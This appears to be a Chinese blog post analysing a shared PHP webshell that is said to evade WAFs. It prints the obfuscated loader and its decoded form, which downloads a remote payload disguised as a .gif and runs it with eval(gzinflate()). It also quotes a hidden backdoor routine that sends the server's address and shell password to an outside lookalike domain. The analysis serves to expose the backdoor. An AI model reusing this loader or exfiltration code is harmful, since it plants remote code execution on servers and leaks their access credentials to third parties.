有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次
<?php
$password='Shiqi';//登录密码(支持菜刀)
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
@eval($un($_SESSION['PhpCode']));
?>
一共有三个变量,$url、$get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。
就是个简单的基于base64加gzinflate加密
还原一下:
<?php
$password='Shiqi';//登录密码(支持菜刀)
//----------功能程序------------------//
session_start();
if(empty($_SESSION['PhpCode'])){
$url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif";
$get = "file_get_contents";
$_SESSION['PhpCode']=$get($url);}
$un = "gzinflate";
@eval($un($_SESSION['PhpCode']));
?>
现在马子的路数很清楚了 通过远程下载主力代码
到这儿我们还是没发现后门,通过wget下载v1QR1M.gif改后缀txt乱码(gzinflate压缩编码本该乱码)
后门部分:
if(isset($_GET['login'])=='geturl'){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0='); $url=$copyurl.$serveru.'&pass='.$serverp; $url=urldecode($url); GetHtml($url); } function geturl(){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode(''); $url=$copyurl.$serveru.'&p='.$serverp; $url=urldecode($url); GetHtml($url); }
在1416行
SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通过解码得出后门地址HTTP://WWW.FACEB0OK.CC/error.php?name=